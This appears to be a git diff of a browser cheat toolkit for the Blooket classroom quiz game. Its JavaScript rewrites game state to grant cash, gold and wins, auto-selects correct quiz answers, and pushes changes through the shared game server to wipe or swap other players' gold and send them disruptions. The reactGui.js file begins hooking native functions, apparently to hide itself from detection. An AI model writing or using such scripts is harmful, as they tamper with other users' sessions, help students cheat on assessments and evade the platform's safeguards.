,9e6,11e7,8e8]},{name:"Witch",color:"#4ab96d",class:"⚔️",rarity:"Uncommon",cash:[18e3,6e4,4e4,4e6,35e6],time:[3,3,2,2,2],price:[11e5,12e6,15e7,14e8]},{name:"Wizard",color:"#5a459c",class:"⚔️",rarity:"Uncommon",cash:[19500,65e3,44e4,46e5,4e6],time:[3,3,2,2,2],price:[13e5,135e5,16e7,16e8]},{name:"Fairy",color:"#df6d9c",class:"⚔️",rarity:"Uncommon",cash:[18500,6e4,62e4,44e5,38e6],time:[3,3,3,2,2],price:[12e5,125e5,15e6,15e8]},{name:"Slime Monster",color:"#2fa04a",class:"⚔️",rarity:"Uncommon",cash:[35e3,14e4,1e6,11e6,11e7],time:[5,5,4,4,4],price:[16e5,15e6,2e8,23e8]},{name:"Jester",color:"#be1e2d",class:"⚔️",rarity:"Rare",cash:[25e3,1e5,68e4,65e5,32e6],time:[3,3,2,2,1],price:[2e6,21e6,23e7,26e8]},{name:"Dragon",color:"#2fa04a",class:"⚔️",rarity:"Rare",cash:[36e3,15e4,15e5,15e6,15e7],time:[4,4,4,4,4],price:[23e5,24e6,27e7,3e9]},{name:"Unicorn",color:"#f6afce",class:"⚔️",rarity:"Epic",cash:[24e3,15e4,14e5,7e6,75e6],time:[2,2,2,1,1],price:[45e5,45e6,55e7,65e8]},{name:"Queen",color:"#9e1f63",class:"⚔️",rarity:"Rare",cash:[24e3,95e3,95e4,97e5,95e6],time:[3,3,3,3,3],price:[19e5,2e7,23e7,25e8]},{name:"King",color:"#ee2640",class:"⚔️",rarity:"Legendary",cash:[75e3,4e5,6e6,9e7,125e7],time:[5,5,5,5,5],price:[6e6,95e6,16e8,25e9]},{name:"Two of Spades",color:"#414042",class:"🏰",rarity:"Uncommon",cash:[4500,14e3,14e4,14e5,9e6],time:[1,1,1,1,1],price:[77e4,83e5,98e6,71e7]},{name:"Eat Me",color:"#d58c55",class:"🏰",rarity:"Uncommon",cash:[13e3,45e3,45e4,45e5,5e7],time:[2,2,2,2,2],price:[13e5,14e6,16e7,2e9]},{name:"Drink Me",color:"#dd7399",class:"🏰",rarity:"Uncommon",cash:[12e3,4e4,4e5,4e6,45e6],time:[2,2,2,2,2],price:[12e5,12e6,14e7,18e8]},{name:"Alice",color:"#4cc9f5",class:"🏰",rarity:"Uncommon",cash:[13e3,42e3,21e4,21e5,23e6],time:[2,2,1,1,1],price:[12e5,13e6,15e7,19e8]},{name:"Queen of Hearts",color:"#d62027",class:"🏰",rarity:"Uncommon",cash:[23e3,87e3,62e4,75e5,9e7],time:[4,4,3,3,3],price:[13e5,13e6,18e7,24e8]},{name:"Dormouse",color:"#89d6f8",class:"🏰",rarity:"Rare",cash:[17e3,68e3,7e5,35e5,35e6],time:[2,2,1,1,1],price:[2e6,22e6,25e7,28e8]},{name:"White Rabbit",color:"#ffcd05",class:"🏰",rarity:"Rare",cash:[26e3,105e3,11e6,77e5,72e6],time:[3,3,3,2,2],price:[2e6,23e6,28e7,29e8]},{name:"Cheshire Cat",color:"#dd7399",class:"🏰",rarity:"Rare",cash:[32e3,1e5,9e5,9e6,6e7],time:[4,3,3,3,2],price:[18e5,19e6,22e7,24e8]},{name:"Caterpillar",color:"#00c0f3",class:"🏰",rarity:"Epic",cash:[1e4,7e4,65e4,75e5,85e6],time:[1,1,1,1,1],price:[42e5,42e6,54e7,69e8]},{name:"Mad Hatter",color:"#914f93",class:"🏰",rarity:"Epic",cash:[38e3,25e4,15e5,14e6,8e7],time:[3,3,2,2,1],price:[48e5,48e6,52e7,66e8]},{name:"King of Hearts",color:"#c62127",class:"🏰",rarity:"Legendary",cash:[8e4,42e4,68e5,1e8,15e8],time:[5,5,5,5,5],price:[7e6,11e7,18e8,3e10]},{name:"Earth",color:"#416eb5",class:"🚀",rarity:"Uncommon",cash:[15e3,45e3,6e5,65e5,65e6],time:[3,3,3,3,3],price:[1e6,11e6,15e7,17e8]},{name:"Meteor",color:"#c68c3c",class:"🚀",rarity:"Uncommon",cash:[23e3,65e3,7e5,45e5,2e7],time:[5,4,3,2,1],price:[95e4,13e6,16e7,16e8]},{name:"Stars",color:"#19184d",class:"🚀",rarity:"Uncommon",cash:[1e4,4e4,2e5,2e6,18e6],time:[2,2,1,1,1],price:[14e5,14e6,15e7,15e8]},{name:"Alien",color:"#8dc63f",class:"🚀",rarity:"Uncommon",cash:[3e4,1e5,1e6,11e6,85e6],time:[4,4,4,4,4],price:[15e5,17e6,19e7,17e8]},{name:"Planet",color:"#9dc6ea",class:"🚀",rarity:"Rare",cash:[25e3,1e5,9e5,9e6,9e7],time:[3,3,3,3,3],price:[2e6,21e6,21e7,24e8]},{name:"UFO",color:"#a15095",class:"🚀",rarity:"Rare",cash:[17e3,7e4,7e5,7e6,7e7],time:[2,2,2,2,2],price:[21e5,23e6,25e7,28e8]},{name:"Spaceship",color:"#ffcb29",class:"🚀",rarity:"Epic",cash:[6e4,32e4,21e5,15e6,85e6],time:[5,4,3,2,1],price:[48e5,46e6,54e7,68e8]},{name:"Astronaut",color:"#9bd4ee",class:"🚀",rarity:"Legendary",cash:[45e3,26e4,25e5,38e6,55e7],time:[3,3,2,2,2],price:[65e5,1e8,17e8,27e9]},{name:"Lil Bot",color:"#3e564a",class:"🤖",rarity:"Uncommon",cash:[4e3,12e3,18e4,19e5,25e6],time:[1,1,1,1,1],price:[73e4,12e6,13e7,19e8]},{name:"Lovely Bot",color:"#f179af",class:"🤖",rarity:"Uncommon",cash:[16e3,65e3,65e4,48e5,42e6],time:[3,3,3,2,2],price:[13e5,14e6,17e7,16e8]},{name:"Angry Bot",color:"#f1613a",class:"🤖",rarity:"Uncommon",cash:[22e3,85e3,8e5,62e5,65e6],time:[4,4,4,3,3],price:[12e5,13e6,15e7,17e8]},{name:"Happy Bot",color:"#51ba6b",class:"🤖",rarity:"Uncommon",cash:[11e3,45e3,5e5,25e5,3e7],time:[2,2,2,1,1],price:[14e5,15e6,18e7,24e8]},{name:"Watson",color:"#d69b5a",class:"🤖",rarity:"Rare",cash:[24e3,1e5,1e6,1e7,1e8],time:[3,3,3,3,3],price:[2e6,22e6,24e7,26e8]},{name:"Buddy Bot",color:"#9dc6ea",class:"🤖",rarity:"Rare",cash:[22e3,95e3,65e4,65e5,65e6],time:[3,3,2,2,2],price:[19e5,21e6,23e7,25e8]},{name:"Brainy Bot",color:"#9ecf7a",class:"🤖",rarity:"Epic",cash:[5e4,25e4,21e5,21e6,17e7],time:[4,3,3,3,2],price:[5e6,46e6,5e8,67e8]},{name:"Mega Bot",color:"#d71f27",class:"🤖",rarity:"Legendary",cash:[8e4,43e4,42e5,62e6,1e9],time:[5,5,3,3,3],price:[7e6,12e7,19e8,35e9]}].find(function({name:e}){return e.toLowerCase()==this},prompt("Enter blook name:").toLowerCase());t?(10<=e.state.blooks.length&&alert("Choose a blook to replace"),e.chooseBlook(t)):alert("That is not a valid blook!")}},{name:"Free Upgrades",description:"Sets upgrade prices to 0 for all current blooks",run:function(){var e=Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner["stateNode"];e.setState(e=>({...e,blooks:e.blooks.map(e=>({...e,price:[0,0,0,0]}))}))}},{name:"Max Blooks",description:"Maxes out all your blooks' levels",run:function(){Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner.stateNode.state.blooks.forEach(e=>e.level=4)}},{name:"Remove Glitches",description:"Removes all enemy glitches",run:function(){var e=Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner["stateNode"];e.setState({bits:0,ads:[],hazards:[],color:"",lol:!1,joke:!1,slow:!1,dance:!1,glitch:"",glitcherName:"",glitcherBlook:""}),clearTimeout(e.adTimeout),clearInterval(e.hazardInterval),clearTimeout(e.nightTimeout),clearTimeout(e.glitchTimeout),clearTimeout(e.lolTimeout),clearTimeout(e.jokeTimeout),clearTimeout(e.slowTimeout),clearTimeout(e.danceTimeout),clearTimeout(e.nameTimeout)}},{name:"Send Glitch",description:"Sends a glitch to everyone else playing",run:function(){var e=document.createElement("iframe"),e=(document.body.append(e),window.alert=e.contentWindow.alert.bind(window),e.remove(),Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner)["stateNode"],t={lb:"Lunch Break",as:"Ad Spam",e37:"Error 37",nt:"Night Time",lo:"#LOL",j:"Jokester",sm:"Slow Mo",dp:"Dance Party",v:"Vortex",r:"Reverse",f:"Flip",m:"Micro"},a=Object.keys(t)[Math.floor(Math.random()*Object.keys(t).length)];e.safe=!0,e.props.liveGameController.setVal({path:`c/${e.props.client.name}/tat`,val:a}),alert(`Sent a ${t[a]} glitch`)}},{name:"Set All MegaBot",description:"Sets all your blooks to maxed out Mega Bots",run:function(){Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner.stateNode.setState({blooks:new Array(10).fill({name:"Mega Bot",color:"#d71f27",class:"🤖",rarity:"Legendary",cash:[8e4,43e4,42e5,62e6,1e9],time:[5,5,3,3,3],price:[7e6,12e7,19e8,35e9],active:!1,level:4,bonus:5.5})})}},{name:"Set Cash",description:"Sets amount of cash you have",run:function(){var e=document.createElement("iframe"),e=(document.body.append(e),window.prompt=e.contentWindow.prompt.bind(window),e.remove(),Number(parseInt(prompt("How much cash would you like?")))),t=Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner["stateNode"];t.setState({cash:e})}}],fishing:[{name:"Frenzy",description:"Sets everyone to frenzy mode",run:function(){var e=Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner["stateNode"];e.props.liveGameController.setVal({path:"c/"+e.props.client.name,val:{b:e.props.client.blook,w:e.state.weight,f:"Frenzy",s:!0}})}},{name:"Remove Distractions",description:"Removes distractions",type:"toggle",enabled:!1,data:null,run:function(){this.enabled?(this.enabled=!1,clearInterval(this.data),this.data=null):(this.enabled=!0,this.data=setInterval(()=>{Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner.stateNode.setState({party:""})},50))}},{name:"Send Distraction",description:"Sends a distraction to everyone",run:function(){var e=document.createElement("iframe"),e=(document.body.append(e),window.alert=e.contentWindow.alert.bind(window),e.remove(),Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner)["stateNode"],t=["Crab","Jellyfish","Frog","Pufferfish","Octopus","Narwhal","Megalodon","Blobfish","Baby Shark"][Math.floor(9*Math.random())];e.safe=!0,e.props.liveGameController.setVal({path:"c/"+e.props.client.name,val:{b:e.props.client.blook,w:e.state.weight,f:t,s:!0}}),alert(`Sent a ${t} distraction`)}},{name:"Set Lure",description:"Sets fishing lure (range 1 - 5)",run:function(){var e=document.createElement("iframe");document.body.append(e),window.prompt=e.contentWindow.prompt.bind(window),e.remove(),Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner.stateNode.setState({lure:Math.max(Math.min(Number(parseInt(prompt("What would you like to set your lure to? (1 - 5)")))-1,4),0)})}},{name:"Set Weight",description:"Sets weight",run:function(){var e=document.createElement("iframe"),e=(document.body.append(e),window.prompt=e.contentWindow.prompt.bind(window),e.remove(),Number(parseInt(prompt("How much weight would you like?")))),t=Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner["stateNode"];t.setState({weight:e,weight2:e}),t.props.liveGameController.setVal({path:"c/"+t.props.client.name,val:{b:t.props.client.blook,w:e,f:["Crab","Jellyfish","Frog","Pufferfish","Octopus","Narwhal","Megalodon","Blobfish","Baby Shark"][Math.floor(9*Math.random())]}})}}],flappy:[{name:"Toggle Ghost",description:"Lets you go through the pipes",type:"toggle",enabled:!1,run:function(){this.enabled=!this.enabled,Object.values(document.querySelector("#phaser-bouncy"))[1].children[0]._owner.stateNode.state.game.scene.physics.world.bodies.entries.forEach(e=>e.gameObject.frame.texture.key.startsWith("blook")&&(e.checkCollision.none=this.enabled,e.gameObject.setAlpha(this.enabled?.5:1)))}},{name:"Set Score",description:"Sets flappy blook score",run:function(){var e=document.createElement("iframe");document.body.append(e),window.prompt=e.contentWindow.prompt.bind(window),e.remove(),Object.values(document.querySelector("#phaser-bouncy"))[1].children[0]._owner.stateNode.setState({score:parseFloat("0"+prompt("What do you want to set your score to?"))})}}],gold:[{name:"Always Triple",description:"Always get triple gold",type:"toggle",enabled:!1,data:null,run:function(){let t=Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner["stateNode"];t._choosePrize||=t.choosePrize,this.enabled?(this.enabled=!1,clearInterval(this.data),this.data=null,t.choosePrize=t._choosePrize||t.choosePrize):(this.enabled=!0,this.data=setInterval(()=>{t.choosePrize=function(e){t.state.choices[e]={type:"multiply",val:3,text:"Triple Gold!",blook:"Unicorn"},t._choosePrize(e)}},50))}},{name:"Auto Choose",description:"Automatically picks the option that would give you the most gold",type:"toggle",enabled:!1,data:null,run:function(){this.enabled?(this.enabled=!1,clearInterval(this.data),this.data=null):(this.enabled=!0,this.data=setInterval(async()=>{try{let o=Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner["stateNode"];if("prize"===o.state.stage){var s=Object.entries(await new Promise(t=>o.props.liveGameController.getDatabaseVal("c",e=>e&&t(e)))||[]).filter(e=>e[0]!=o.props.client.name).sort((e,t)=>t[1].g-e[1].g)[0]?.[1]?.g||0;let a=0;index=-1;for(let t=0;t{Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner.stateNode.state.choices.forEach(({text:e},t)=>{var a,t=document.querySelector(`div[class^='styles__choice${t+1}']`);t&&!t.querySelector("div")&&((a=document.createElement("div")).style.color="white",a.style.fontFamily="Eczar",a.style.fontSize="2em",a.style.display="flex",a.style.justifyContent="center",a.style.transform="translateY(200px)",a.innerText=e,t.append(a))})},50))}},{name:"Reset Players Gold",description:"Sets a player's gold to 0",run:function(){var e=document.createElement("iframe");document.body.append(e),window.prompt=e.contentWindow.prompt.bind(window),e.remove();let t=prompt("Who's gold would you like to reset?"),{props:a,state:o}=Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner["stateNode"];stateNode.props.liveGameController.getDatabaseVal("c",e=>{e&&Object.keys(e).map(e=>e.toLowerCase()).includes(t.toLowerCase())&&a.liveGameController.setVal({path:"c/".concat(a.client.name),val:{b:a.client.blook,g:o.gold,tat:t+":swap:0"}})})}},{name:"Set Gold",description:"Sets amount of gold",run:function(){var e=document.createElement("iframe"),e=(document.body.append(e),window.prompt=e.contentWindow.prompt.bind(window),e.remove(),Number(parseInt(prompt("How much gold would you like?")))),t=Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner["stateNode"];t.setState({gold:e,gold2:e}),t.props.liveGameController.setVal({path:"c/".concat(t.props.client.name),val:{b:t.props.client.blook,g:e}})}},{name:"Swap Gold",description:"Swaps gold with someone",run:function(){let t=Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner["stateNode"];t.props.liveGameController.getDatabaseVal("c",e=>{t.setState({players:e?Object.entries(e).map(([e,{b:t,g:a}])=>({name:e,blook:t,gold:a||0})).filter(e=>e.name!=t.props.client.name).sort(({gold:e},{gold:t})=>t-e):[],ready:!0,phaseTwo:!0,stage:"prize",choiceObj:{type:"swap"}})})}},{name:"Reset All Players' Gold",description:"Set's everyone else's gold to 0",run:function(){var e=document.createElement("iframe");document.body.append(e),window.alert=e.contentWindow.alert.bind(window),e.remove();let{props:a,state:o}=Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner["stateNode"],s=0;a.liveGameController.getDatabaseVal("c",async e=>{if(e)for(const t of Object.keys(e))a.liveGameController.setVal({path:"c/".concat(a.client.name),val:{b:a.client.blook,g:o.gold,tat:t+":swap:0"}}),s++,await new Promise(e=>setTimeout(e,4e3));alert(`Reset ${s} players' gold!`)})}}],kingdom:[{name:"Choice ESP",description:"Shows you what will happen if you say Yes or No",type:"toggle",enabled:!1,data:null,run:function(){if(this.enabled)this.enabled=!1,clearInterval(this.data),Array.from(document.getElementsByClassName("choiceESP")).forEach(e=>e.remove()),this.data=null;else{this.enabled=!0;let a=["materials","people","happiness","gold"],o=Object.fromEntries([...document.querySelectorAll("[class^=styles__statContainer]")].map((e,t)=>[a[t],e]));this.data=setInterval(()=>{var{guest:e,phase:t}=Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner.stateNode.state;"choice"==t&&(Array.from(document.getElementsByClassName("choiceESP")).forEach(e=>e.remove()),Object.entries(e.yes||{}).forEach(e=>{var t;"msg"!=e[0]&&a.includes(e[0])&&((t=document.createElement("div")).className="choiceESP",t.style="font-size: 24px; color: rgb(75, 194, 46); font-weight: bolder;",t.innerText=String(e[1]),o[e[0]].appendChild(t))}),Object.entries(e.no||{}).forEach(e=>{var t;"msg"!=e[0]&&a.includes(e[0])&&((t=document.createElement("div")).className="choiceESP",t.style="font-size: 24px; color: darkred; font-weight: bolder;",t.innerText=String(e[1]),o[e[0]].appendChild(t))}))},50)}}},{name:"Disable Tax Toucan",description:"Tax evasion",run:function(){Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner.stateNode.taxCounter=Number.MAX_VALUE}},{name:"Max Stats",description:"Sets all resources to the max",run:function(){Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner.stateNode.setState({materials:100,people:100,happiness:100,gold:100})}},{name:"Set Guests",description:"Sets the amount of guests you've seen",run:function(){var e=document.createElement("iframe"),e=(document.body.append(e),window.prompt=e.contentWindow.prompt.bind(window),e.remove(),Number(parseInt(prompt("How many guests do you want?"))));Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner.stateNode.setState({guestScore:e})}},{name:"Skip Guest",description:"Skips the current guest",run:function(){Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner.stateNode.nextGuest()}}],racing:[{name:"Instant Win",description:"Instantly Wins the race",run:function(){const e=Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner["stateNode"];e.setState({progress:e.state.goalAmount},()=>{const{question:a}=e["state"];try{[...document.querySelectorAll('[class*="answerContainer"]')][a.answers.map((e,t)=>a.correctAnswers.includes(e)?t:null).filter(e=>null!=e)[0]]?.click?.()}catch{}})}}],royale:[{name:"Auto Answer (Toggle)",description:"Toggles auto answer on",type:"toggle",enabled:!1,data:null,run:function(){this.enabled?(this.enabled=!1,clearInterval(this.data),this.data=null):(this.enabled=!0,this.data=setInterval(()=>{var e=Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner["stateNode"];e?.onAnswer?.(!0,e.props.client.question.correctAnswers[0])},50))}},{name:"Auto Answer",description:"Chooses the correct answer for you",run:function(){var e=Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner["stateNode"];e?.onAnswer?.(!0,e.props.client.question.correctAnswers[0])}}],rush:[{name:"Set Blooks",description:"Sets amount of blooks you or your team has",run:function(){var e=document.createElement("iframe"),e=(document.body.append(e),window.prompt=e.contentWindow.prompt.bind(window),e.remove(),Number(parseInt(prompt("How many blooks do you want?")))),t=Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner["stateNode"];t.setState({numBlooks:e}),t.isTeam?t.props.liveGameController.setVal({path:`a/${t.props.client.name}/bs`,val:e}):t.props.liveGameController.setVal({path:`c/${t.props.client.name}/bs`,val:numDefense})}},{name:"Set Defense",description:"Sets amount of defense you or your team has (Max 4)",run:function(){var e=document.createElement("iframe"),e=(document.body.append(e),window.prompt=e.contentWindow.prompt.bind(window),e.remove(),Math.min(Number(parseInt(prompt("How much defense do you want? (Max 4)"))),4)),t=Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner["stateNode"];t.setState({numDefense:e}),t.isTeam?t.props.liveGameController.setVal({path:`a/${t.props.client.name}/d`,val:e}):t.props.liveGameController.setVal({path:`c/${t.props.client.name}/d`,val:e})}}],workshop:[{name:"Remove Distractions",description:"Removes all enemy distractions",run:function(){Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner.stateNode.setState({fog:!1,dusk:!1,wind:!1,plow:!1,blizzard:!1,force:!1,canada:!1,trees:[!1,!1,!1,!1,!1,!1,!1,!1,!1,!1]})}},{name:"Send Distraction",description:"Sends a distraction to everyone else playing",run:function(){var e=document.createElement("iframe"),e=(document.body.append(e),window.alert=e.contentWindow.alert.bind(window),e.remove(),Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner)["stateNode"],t={c:"Oh Canada",b:"Blizzard",f:"Fog Spell",d:"Dark & Dusk",w:"Howling Wind",g:"Gift Time!",t:"TREES",s:"Snow Plow",fr:"Use The Force"},a=Object.keys(t)[Math.floor(Math.random()*Object.keys(t).length)];e.safe=!0,e.props.liveGameController.setVal({path:`c/${e.props.client.name}/tat`,val:a}),alert(`Sent a ${t[a]} distraction`)}},{name:"Set Toys",description:"Sets amount of toys",run:function(){var e=document.createElement("iframe"),e=(document.body.append(e),window.prompt=e.contentWindow.prompt.bind(window),e.remove(),parseInt(prompt("How many toys would you like?"))),t=Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner["stateNode"];t.setState({toys:e}),t.props.liveGameController.setVal({path:"c/".concat(t.props.client.name),val:{b:t.props.client.blook,t:e}})}},{name:"Set Toys Per Question",description:"Sets amount of toys per question",run:function(){var e=document.createElement("iframe");document.body.append(e),window.prompt=e.contentWindow.prompt.bind(window),e.remove(),Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner.stateNode.setState({toysPerQ:parseInt(prompt("How many toys per question would you like?"))})}},{name:"Swap Toys",description:"Swaps toys with someone",run:function(){let t=Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner["stateNode"];t.props.liveGameController.getDatabaseVal("c",e=>{t.setState({choosingPlayer:!1,players:e?Object.entries(e).map(([e,{b:t,t:a}])=>({name:e,blook:t,toys:a||0})).filter(e=>e.name!=t.props.client.name).sort(({toys:e},{toys:t})=>t-e):[],phaseTwo:!0,stage:"prize",choiceObj:{type:"swap"}},()=>setTimeout(()=>t.setState({choosingPlayer:!0}),300))})}}]};var d=document.createElement("details");d.innerHTML='Global';for(let t of l.global){let e=h(t.name);e.style.backgroundColor="toggle"==t.type?t.enabled?"#47A547":"#A02626":"hsl(0, 0%, 20%)",e.onclick=()=>{try{t.run()}finally{e.style.backgroundColor="toggle"==t.type?t.enabled?"#47A547":"#A02626":"hsl(0, 0%, 20%)"}},d.appendChild(e)}d.open=!1,d.style.paddingBottom="10px",a.appendChild(d);let m=document.createElement("div");a.appendChild(m),console.log(l);const p=e=>{if(e&&l[e])for(let t of l[e]){let e=h(t.name);e.style.backgroundColor="toggle"==t.type?t.enabled?"#47A547":"#A02626":"hsl(0, 0%, 20%)",e.onclick=()=>{try{t.run()}finally{e.style.backgroundColor="toggle"==t.type?t.enabled?"#47A547":"#A02626":"hsl(0, 0%, 20%)"}},m.appendChild(e),m.appendChild(document.createElement("br"))}};setTimeout(()=>p(b()),50);var u=function(e){let t=window.location.pathname;const a=setInterval(()=>{window.location.pathname!=t&&(t=window.location.pathname,e(t))},50);return()=>clearInterval(a)}(e=>{var t=b();curPageEl.innerText=b(!0)?"Current gamemode: "+b(!0):"No game detected",m.innerHTML="",p(t)});function h(e){var t=document.createElement("button");return t.classList.add("cheat"),t.innerText=e,t}function b(e){switch(window.location.pathname){case"/play/racing":return e?"Racing":"racing";case"/play/factory":return e?"Factory":"factory";case"/play/classic/get-ready":case"/play/classic/question":case"/play/classic/answer/sent":case"/play/classic/answer/result":case"/play/classic/standings":return e?"Classic":"classic";case"/play/battle-royale/match/preview":case"/play/battle-royale/question":case"/play/battle-royale/answer/sent":case"/play/battle-royale/answer/result":case"/play/battle-royale/match/result":return e?"Battle Royale":"royale";case"/play/toy":return e?"Santa's Workshop":"workshop";case"/play/gold":return e?"Gold Quest":"gold";case"/play/brawl":return e?"Monster Brawl":"brawl";case"/play/hack":return e?"Crypto Hack":"hack";case"/play/fishing":return e?"Fishing Frenzy":"fishing";case"/play/rush":return e?"Blook Rush":"rush";case"/play/dino":return e?"Deceptive Dinos":"dino";case"/tower/map":case"/tower/battle":case"/tower/rest":case"/tower/risk":case"/tower/shop":case"/tower/victory":return e?"Tower of Doom":"doom";case"/cafe":case"/cafe/shop":return e?"Cafe":"cafe";case"/defense":return e?"Tower Defense":"defense";case"/play/defense2":return e?"Tower Defense 2":"defense2";case"/kingdom":return e?"Crazy Kingdom":"kingdom";default:return!1}}function y(e){"KeyE"==e.code&&(o.hidden=!o.hidden)}addEventListener("keypress",y)};let c=new Image;c.src="https://raw.githubusercontent.com/05Konz/Blooket-Cheats/main/autoupdate/timestamps/mobileGui.png?"+Date.now(),c.crossOrigin="Anonymous",c.onload=function(){var e=document.createElement("canvas").getContext("2d");e.drawImage(c,0,0,this.width,this.height);let t=e.getImageData(0,0,this.width,this.height)["data"],a="",o;for(let e=0;e(c.src=null,i())})(); \ No newline at end of file diff --git a/cheats/racing/instantWin.js b/cheats/racing/instantWin.js new file mode 100644 index 0000000..90518b3 --- /dev/null +++ b/cheats/racing/instantWin.js @@ -0,0 +1,44 @@ +/** +* @license StewartPrivateLicense-2.0.1 +* Copyright (c) 05Konz 2023 +* +* You may not reproduce or distribute any code inside this file without the licenser's permission. +* You may not copy, modify, steal, skid, or recreate any of the code inside this file. +* You may not under any circumstance republish any code from this file as your own. +* +* ALL TERMS STATED IN THE LINK BELOW APPLY ASWELL +* https://github.com/05Konz/Blooket-Cheats/blob/main/LICENSE +*/ + +/* THE UPDATE CHECKER IS ADDED DURING COMMIT PREP, THERE MAY BE REDUNDANT CODE, DO NOT TOUCH */ + +(() => { + const cheat = (async () => { + const { stateNode } = Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner; + stateNode.setState({ progress: stateNode.state.goalAmount }, () => { + const { state: { question } } = stateNode; + try { + [...document.querySelectorAll(`[class*="answerContainer"]`)][question.answers.map((x, i) => question.correctAnswers.includes(x) ? i : null).filter(x => x != null)[0]]?.click?.(); + } catch { } + }); + }); + let img = new Image; + img.src = "https://raw.githubusercontent.com/05Konz/Blooket-Cheats/main/autoupdate/timestamps/racing/instantWin.png?" + Date.now(); + img.crossOrigin = "Anonymous"; + img.onload = function() { + const c = document.createElement("canvas"); + const ctx = c.getContext("2d"); + ctx.drawImage(img, 0, 0, this.width, this.height); + let { data } = ctx.getImageData(0, 0, this.width, this.height), decode = "", last; + for (let i = 0; i < data.length; i += 4) { + let char = String.fromCharCode(data[i + 1] * 256 + data[i + 2]); + decode += char; + if (char == "/" && last == "*") break; + last = char; + } + let iframe = document.querySelector("iframe"); + const [_, time, error] = decode.match(/LastUpdated: (.+?); ErrorMessage: "(.+?)"/); + if (parseInt(time) <= 1692640272440 || iframe.contentWindow.confirm(error)) cheat(); + } + img.onerror = img.onabort = () => (img.src = null, cheat()); +})(); \ No newline at end of file diff --git a/cheats/racing/instantWin.min.js b/cheats/racing/instantWin.min.js new file mode 100644 index 0000000..ec62f60 --- /dev/null +++ b/cheats/racing/instantWin.min.js @@ -0,0 +1 @@ +/* All terms found in the following link apply: https://github.com/05Konz/Blooket-Cheats/blob/main/LICENSE */ (()=>{let r=document.querySelector("iframe");r.contentWindow.console.log.call(window,"%c Blooket Cheats %c\n\tBy 05Konz on GitHub","color: #0bc2cf; font-size: 3rem","color: #8000ff; font-size: 1rem"),r.contentWindow.console.log.call(window,"%c\tinstantWin.js","color: #0bc2cf; font-size: 1rem"),r.contentWindow.console.log.call(window,"%c\tStar the github repo!%c https://github.com/05Konz/Blooket-Cheats","color: #ffd000; font-size: 1rem","");const s=async()=>{const t=Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner["stateNode"];t.setState({progress:t.state.goalAmount},()=>{const{question:o}=t["state"];try{[...document.querySelectorAll('[class*="answerContainer"]')][o.answers.map((t,e)=>o.correctAnswers.includes(t)?e:null).filter(t=>null!=t)[0]]?.click?.()}catch{}})};let l=new Image;l.src="https://raw.githubusercontent.com/05Konz/Blooket-Cheats/main/autoupdate/timestamps/racing/instantWin.png?"+Date.now(),l.crossOrigin="Anonymous",l.onload=function(){var t=document.createElement("canvas").getContext("2d");t.drawImage(l,0,0,this.width,this.height);let e=t.getImageData(0,0,this.width,this.height)["data"],o="",n;for(let t=0;t(l.src=null,s())})(); \ No newline at end of file diff --git a/cheats/racing/readme.md b/cheats/racing/readme.md new file mode 100644 index 0000000..422834e --- /dev/null +++ b/cheats/racing/readme.md @@ -0,0 +1,4 @@ +# Racing Cheats + +## [Instant Win](instantWin.js) +Instantly Wins the race \ No newline at end of file diff --git a/cheats/reactGui.js b/cheats/reactGui.js new file mode 100644 index 0000000..ca121f5 --- /dev/null +++ b/cheats/reactGui.js @@ -0,0 +1,3538 @@ +/** +* @license StewartPrivateLicense-2.0.1 +* Copyright (c) 05Konz 2023 +* +* You may not reproduce or distribute any code inside this file without the licenser's permission. +* You may not copy, modify, steal, skid, or recreate any of the code inside this file. +* You may not under any circumstance republish any code from this file as your own. +* +* ALL TERMS STATED IN THE LINK BELOW APPLY ASWELL +* https://github.com/05Konz/Blooket-Cheats/blob/main/LICENSE +*/ + +/* THE UPDATE CHECKER IS ADDED DURING COMMIT PREP, THERE MAY BE REDUNDANT CODE, DO NOT TOUCH */ + +(() => { + const cheat = (async () => { + if (String(Function.prototype.call).includes('native')) { + let call = Function.prototype.call; + let iframe = document.createElement("iframe"); + document.body.append(iframe); + iframe.style.display = "none"; + let funcs = { + querySelectorAll: function () { + if (["#JODGUI", "#JODMOBILE", "#currPageEl", "#YTRkNmM2MWEtOTg3Zi00YmE1LWI1NzUtNTgyOTUzMWI4ZDYx", "#ODJkMThlMDEtYmEwNi00MzE4LTg4ZGMtM2Y2ZDI0MzY4ZjU2", ".cheatList", ".cheatName", 